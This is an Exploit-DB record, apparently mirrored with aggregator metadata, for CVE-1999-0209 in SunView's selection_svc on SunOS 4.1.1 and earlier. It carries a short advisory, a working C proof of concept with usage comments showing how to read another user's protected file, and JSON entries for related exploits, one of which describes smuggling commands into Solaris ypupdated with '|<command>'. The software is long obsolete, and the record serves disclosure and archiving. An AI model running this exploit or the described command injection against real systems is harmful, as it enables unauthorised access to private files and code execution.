ID EDB-ID:19040 Type exploitdb Reporter Peter Shipley Modified 1990-08-14T00:00:00
Description
SunView selection_svc Vulnerability. CVE-1999-0209. Remote exploit for solaris platform
Source: http://www.securityfocus.com/bid/8/info
On Sun3 and Sun4 systems, a remote system can read any file that is readable to the user running SunView. On the 386i, a remote system can read any file on the workstation running SunView regardless of protections. Note that if root runs Sunview, all files are potentially accessible by a remote system.
Sunview does not kill the selection_svc process when the user quits from Sunview. Thus, unless the process is killed, remote systems can still read files that were readable to the last user that ran Sunview. Under these circumstances, once a user has run Sunview, start using another window system (such as X11), or even logoff, but still have files accessible to remote systems.
/* SELN_HOLD_FILE
* For use where someone has a selection_svc runnning as them, after an
* invocation of suntools:
*
* % cat their_private_file
* their_private_file: Permission denied
* % cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow
* % ./seln_hold_file their_private_file
* % get_selection 2
* < contents of their_private_file >
* %
*/
#include <stdio.h>
#include <sys/types.h>
#include <suntool/seln.h>
main(argc, argv)
int argc;
char *argv[];
{
Seln_result ret;
if (argc != 2) {
(void) fprintf(stderr, "usage: seln_grab file1\n");
exit(1);
}
ret = seln_hold_file(SELN_SECONDARY, argv[1]);
seln_dump_result(stdout, &ret);
printf("\n");
}
/*
* Local variables:
* compile-command: "cc -sun3 -Bstatic -o seln_hold_file seln_hold_file.c -lsun
tool -lsunwindow"
* end:
*
* Static required because _mem_ops not included in ld.so
*/
{"hash": "1a74c51dc77c559e1add7ad337b6a9071ab10d33e87489c1a8af49a25f11920a", "id": "EDB-ID:19040", "lastseen": "2016-02-02T10:56:52", "enchantments": {"vulnersScore": 5.0}, "bulletinFamily": "exploit", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/19040/", "description": "SunView selection_svc Vulnerability. CVE-1999-0209. Remote exploit for solaris platform", "title": "SunView SunOS <= 4.1.1 selection_svc Vulnerability", "sourceData": "Source: http://www.securityfocus.com/bid/8/info\r\n\r\nOn Sun3 and Sun4 systems, a remote system can read any file that is readable to the user running SunView. On the 386i, a remote system can read any file on the workstation running SunView regardless of protections. Note that if root runs Sunview, all files are potentially accessible by a remote system.\r\n\r\nSunview does not kill the selection_svc process when the user quits from Sunview. Thus, unless the process is killed, remote systems can still read files that were readable to the last user that ran Sunview. Under these circumstances, once a user has run Sunview, start using another window system (such as X11), or even logoff, but still have files accessible to remote systems.\r\n\r\n/* SELN_HOLD_FILE\r\n * For use where someone has a selection_svc runnning as them, after an\r\n * invocation of suntools:\r\n *\r\n * % cat their_private_file\r\n * their_private_file: Permission denied\r\n * % cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow\r\n * % ./seln_hold_file their_private_file\r\n * % get_selection 2\r\n * < contents of their_private_file >\r\n * %\r\n */\r\n\r\n#include <stdio.h>\r\n#include <sys/types.h>\r\n#include <suntool/seln.h>\r\n\r\nmain(argc, argv)\r\n int argc;\r\n char *argv[];\r\n{\r\n Seln_result ret;\r\n\r\n if (argc != 2) {\r\n (void) fprintf(stderr, \"usage: seln_grab file1\\n\");\r\n exit(1);\r\n }\r\n\r\n ret = seln_hold_file(SELN_SECONDARY, argv[1]);\r\n seln_dump_result(stdout, &ret);\r\n printf(\"\\n\");\r\n}\r\n\r\n/*\r\n * Local variables:\r\n * compile-command: \"cc -sun3 -Bstatic -o seln_hold_file seln_hold_file.c -lsun\r\ntool -lsunwindow\"\r\n * end:\r\n *\r\n * Static required because _mem_ops not included in ld.so\r\n */", "objectVersion": "1.0", "cvelist": ["CVE-1999-0209"], "published": "1990-08-14T00:00:00", "osvdbidlist": ["881"], "references": [], "reporter": "Peter Shipley", "modified": "1990-08-14T00:00:00", "href": "https://www.exploit-db.com/exploits/19040/"}
{"result": {"cve": [{"id": "CVE-1999-0209", "type": "cve", "title": "CVE-1999-0209", "description": "The SunView (SunTools) selection_svc facility allows remote users to read files.", "published": "1990-08-14T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0209", "cvelist": ["CVE-1999-0209"], "lastseen": "2016-09-03T02:10:21"}], "exploitdb": [{"id": "EDB-ID:16326", "type": "exploitdb", "title": "Solaris ypupdated Command Execution", "description": "Solaris ypupdated Command Execution. CVE-1999-0209. Remote exploit for solaris platform", "published": "2010-07-25T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/16326/", "cvelist": ["CVE-1999-0209"], "lastseen": "2016-02-01T23:36:45"}, {"id": "EDB-ID:5366", "type": "exploitdb", "title": "Sun Solaris <= 10 - rpc.ypupdated Remote Root Exploit meta", "description": "Sun Solaris. CVE-1999-0209. Remote exploit for solaris platform", "published": "2008-04-04T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/5366/", "cvelist": ["CVE-1999-0209"], "lastseen": "2016-01-31T23:01:32"}], "osvdb": [{"id": "OSVDB:881", "type": "osvdb", "title": "SunOS SunView selection_svc Facility Remote Arbitrary File Access", "description": "# No description provided by the source\n\n## References:\nISS X-Force ID: 122\n[CVE-1999-0209](https://vulners.com/cve/CVE-1999-0209)\nCIAC Advisory: a-32\nCIAC Advisory: b-11\nCERT: CA-1990-05\nBugtraq ID: 8\n", "published": "1990-09-05T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "https://vulners.com/osvdb/OSVDB:881", "cvelist": ["CVE-1999-0209"], "lastseen": "2017-04-28T13:19:55"}], "metasploit": [{"id": "MSF:EXPLOIT/SOLARIS/SUNRPC/YPUPDATED_EXEC", "type": "metasploit", "title": "Solaris ypupdated Command Execution", "description": "This exploit targets a weakness in the way the ypupdated RPC application uses the command shell when handling a MAP UPDATE request. Extra commands may be launched through this command shell, which runs as root on the remote host, by passing commands in the format '|<command>'. Vulnerable systems include Solaris 2.7, 8, 9, and 10, when ypupdated is started with the '-i' command-line option.", "published": "2008-04-18T01:33:09", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "", "cvelist": ["CVE-1999-0209"], "lastseen": "2018-02-26T19:09:15"}], "packetstorm": [{"id": "PACKETSTORM:82327", "type": "packetstorm", "title": "Solaris ypupdated Command Execution", "description": "", "published": "2009-10-28T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "https://packetstormsecurity.com/files/82327/Solaris-ypupdated-Command-Execution.html", "cvelist": ["CVE-1999-0209"], "lastseen": "2016-12-05T22:12:45"}]}}
